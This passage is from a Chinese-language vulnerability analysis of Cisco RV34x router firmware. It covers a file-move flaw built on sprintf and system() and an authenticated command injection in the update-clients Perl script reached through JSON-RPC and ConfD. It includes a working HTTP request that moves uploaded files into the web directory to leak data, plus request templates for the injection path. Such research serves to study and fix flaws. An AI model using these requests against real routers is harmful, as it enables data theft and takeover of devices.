inherit !important;">&#34;^[a-zA-Z0-9_.-]*$&#34;</span>, dst) )<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-4</span>;<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">sprintf</span>(s, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;mv -f %s %s/%s&#34;</span>, src, target_dir, dst);<br/>  debug(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;cmd=%s&#34;</span>, s);<br/>  ...<br/>  ret_code = system(s);<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">利用该漏洞最直接的效果就是可以将一些敏感文件移动到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/www</code>目录下然后访问该路径，实现敏感信息泄露，更深层次的利用在后续分析中说明。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">下面的请求包可以实现将<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/upload/0000000001</code>移动到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/www/bak</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">POST /form-file-upload HTTP/1.1<br/>Host: 192.168.1.1<br/>Cookie: selected_language=English; session_timeout=false; sessionid=2727f44696347c5e1218c78a2471f1c48ab9e6f4a9c3b3b6ab1db9a1365fd620; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; current-page=Admin_Config_Management<br/>Content-Length: 626<br/>Sec-Ch-Ua: &#34; Not A;Brand&#34;;v=&#34;99&#34;, &#34;Chromium&#34;;v=&#34;98&#34;, &#34;Google Chrome&#34;;v=&#34;98&#34;<br/>Accept: application/json, text/plain, */*<br/>Optional-Header: header-value<br/>Sec-Ch-Ua-Mobile: ?0<br/>Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBtdH1UtBT6GPZrcM<br/>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36<br/>Sec-Ch-Ua-Platform: &#34;macOS&#34;<br/>Origin: <a href="https://192.168.1.1" target="_blank">https://192.168.1.1</a><br/>Sec-Fetch-Site: same-origin<br/>Sec-Fetch-Mode: cors<br/>Sec-Fetch-Dest: empty<br/>Referer: <a href="https://192.168.1.1/index.html" target="_blank">https://192.168.1.1/index.html</a><br/>Accept-Encoding: gzip, deflate<br/>Accept-Language: en-US,en;q=0.9<br/>Connection: close<br/>------WebKitFormBoundaryBtdH1UtBT6GPZrcM<br/>Content-Disposition: form-data; name=&#34;sessionid&#34;<br/>2727f44696347c5e1218c78a<br/>------WebKitFormBoundaryBtdH1UtBT6GPZrcM<br/>Content-Disposition: form-data; name=&#34;pathparam&#34;<br/>Portal<br/>------WebKitFormBoundaryBtdH1UtBT6GPZrcM<br/>Content-Disposition: form-data; name=&#34;file.path&#34;<br/>/tmp/upload/0000000001<br/>------WebKitFormBoundaryBtdH1UtBT6GPZrcM<br/>Content-Disposition: form-data; name=&#34;fileparam&#34;<br/>bak<br/>------WebKitFormBoundaryBtdH1UtBT6GPZrcM<br/>Content-Disposition: form-data; name=&#34;websession&#34;; filename=&#34;a.xml&#34;<br/>Content-Type: text/xml<br/>{<br/>}<br/>------WebKitFormBoundaryBtdH1UtBT6GPZrcM--<br/></span></code></pre><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">认证后命令执行漏洞</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">最后是一个认证后命令执行漏洞，漏洞存在于<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/usr/bin/update-clients</code>中。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以看到在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">update-clients</code>中，参数<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">$name</code>可以实现注入。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">#!/usr/bin/perl</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">my</span> $total = $#ARGV + <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">my</span> $counter = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">#$mac  = &#34;FF:FF:FF:FF:FF:FF&#34;;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">#$name = &#34;TestPC&#34;;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">#$type = &#34;Computer&#34;;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">#$os   = &#34;Windows&#34;;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">foreach</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">my</span> $a(@ARGV)<br/>{<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> (($counter%12) == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>)<br/>    {<br/>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">system</span>(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;lcstat dev set $mac \&#34;$name\&#34; \&#34;$type\&#34; \&#34;$os\&#34; &gt; /dev/null&#34;</span>);<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">elsif</span> (($counter%12) == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">4</span>)<br/>    {<br/>        $mac = $a<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">elsif</span> (($counter%12) == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">6</span>)<br/>    {<br/>        $name = $a<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">elsif</span> (($counter%12) == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">8</span>)<br/>    {<br/>        $type = $a<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">elsif</span> (($counter%12) == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">10</span>)<br/>    {<br/>        $os = $a<br/>    }<br/>    $counter++;<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">这里要搞清楚的是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">http</code>请求包是怎么跑到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/usr/bin/update-clients</code>去执行的。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RV34x</code>系列采用的是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ConfD</code>的架构来进行网络管理的，ConfD是tail-f推出的配置管理开发框架，提供多种工具，针对多种标准，其中也包括了对NETCONF/YANG的支持。Tail-f已经被思科收购，所以ConfD应该说是思科的ConfD了。根据官方手册ConfD User Guide，它的架构如下。基础知识前面已经说过，可以去了解<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">netconf+yang</code>模型的网络管理。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6444073455759599" data-s="300,640" style="" data-type="png" data-w="599" src="https://wechat2rss.xlab.app/img-proxy/?k=26e48d44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRcjPiba6l3doeUO63SfUCCe1skUGK14JtB84icAgR8UOPQ6eEAibUs29ptvRQl3iaba8jyuGL4gibgrsGsgsDnLZLrg%2F640%3Fwx_fmt%3Dpng"/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">confd_architecture</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">CDB</code>是内置的数据库，由<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">xml</code>表示，被<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ConfD</code>解析后提供多个接口以实现多客户端的访问。对于<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RV34x</code>系列来说，配置文件的路径是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/etc/confd/cdb/</code>，该目录下的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">xml</code>便是配置的数据。比较关注的是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">config_init.xml</code>，该配置文件里面存储了包含用户密码等信息在内的数据。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">接口模型使用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">yang</code>定义，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">yang</code>是一种数据建模语言，下面给出部分关键字的解释，当然也可以从ConfD User Guide中去了解更多的信息：</p><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">module</code>定义了一种分层的配置树结构。它可以使能<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">NETCONF</code>的所有功能，如配置操作(<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">operation</code>)，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RPC</code>和异步通知(<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">notification</code>)。开发者可根据配置数据的语义来定义不同的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">module</code>。</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">namespace</code>用于唯一的标识<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">module</code>，等同于<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">xml</code>文件中的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">namespace</code>。</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">container</code>节点把相关的子节点组织在一起。</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">list</code>节点可以有多个实例，每个实例都有一个<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">key</code>唯一标识。</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">leaf</code>是叶子节点，具有数据类型和值，如叶子结点<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">name</code>的数据类型(<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">type</code>)是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">string</code>，它唯一的表示<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">list</code>节点<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">interface</code>。</p></li></ul><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">下面我们看下关于漏洞点的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">rpc</code>调用的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">yang</code>的定义：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">    // /etc/confd/yang/ciscosb-avc.yang: <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">197</span><br/>        rpc update-clients {<br/>        input {<br/>            list clients {<br/>                key mac;<br/>                leaf mac {<br/>                    type yang:mac-address;<br/>                    mandatory <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">true</span>;<br/>                }<br/>                leaf hostname {<br/>                    type string;<br/>                }<br/>                leaf device-type {<br/>                    type string;<br/>                }<br/>                leaf os-type {<br/>                    type string;<br/>                }<br/>            }<br/>        }<br/>    }<br/>    augment <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:ips&#34;</span> {<br/>        uses ciscosb-security-common:DEVICE-OS-TYPE;<br/>    }<br/>    augment <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:macs&#34;</span> {<br/>        uses ciscosb-security-common:DEVICE-OS-TYPE;<br/>    }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以看到上面定义了类似于下面的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">json</code>数据请求包，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">hostname</code>、<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">device-type</code>以及<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">os-type</code>都是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">leaf</code>结点，类型（<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">type</code>）也是字符串（<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">string</code>）。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">POST /jsonrpc HTTP/1.1<br/>Host: 127.0.0.1:8080<br/>Accept: application/json, text/plain, */*<br/>Content-Length: 350<br/>Connection: close<br/>Cookie: selected_language=English; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; session_timeout=false; sessionid=138b633ddd844b81a8ea48a149819f645fbe31fb64a1bd7cc0072f3d14420da0; current-page=WAN_Settings<br/>{<br/>  &#34;jsonrpc&#34;:&#34;2.0&#34;,<br/>  &#34;method&#34;:&#34;action&#34;,<br/>  &#34;params&#34;:{<br/>    &#34;rpc&#34;:&#34;update-clients&#34;,<br/>    &#34;input&#34;:{<br/>      &#34;clients&#34;: [<br/>        {<br/>          &#34;hostname&#34;: &#34;rv34x&#34;,<br/>          &#34;mac&#34;: &#34;64:d1:a3:4f:be:e1&#34;,<br/>          &#34;device-type&#34;: &#34;client&#34;,<br/>          &#34;os-type&#34;: &#34;windows&#34;<br/>        }<br/>      ]<br/>    }<br/>  }<br/>}<br/></span></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">yang</code>数据接口的定义在路径<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/etc/confd/yang</code>目录下，它被<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">confdc</code>编译成<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">.fxs</code>文件输出到了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/etc/confd/fxs</code>当中，后续这些<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">.fxs</code>文件被<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">confd</code>解析使用。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">现在基本搞清楚了漏洞触发的原因，现在从细节实现上来看请求的数据包是如何触发<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">rpc</code>请求的。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nginx</code>的配置文件中定义了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/jsonrpc</code>的请求路径，可以看到它处理的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">uwsgi_pass</code>是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jsonrpc</code></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /etc/nginx/conf.d/web.conf: 18</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">location</span> = /jsonrpc {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">include</span> uwsgi_params;<br/>    <span style="font-size: inherit;line-height: 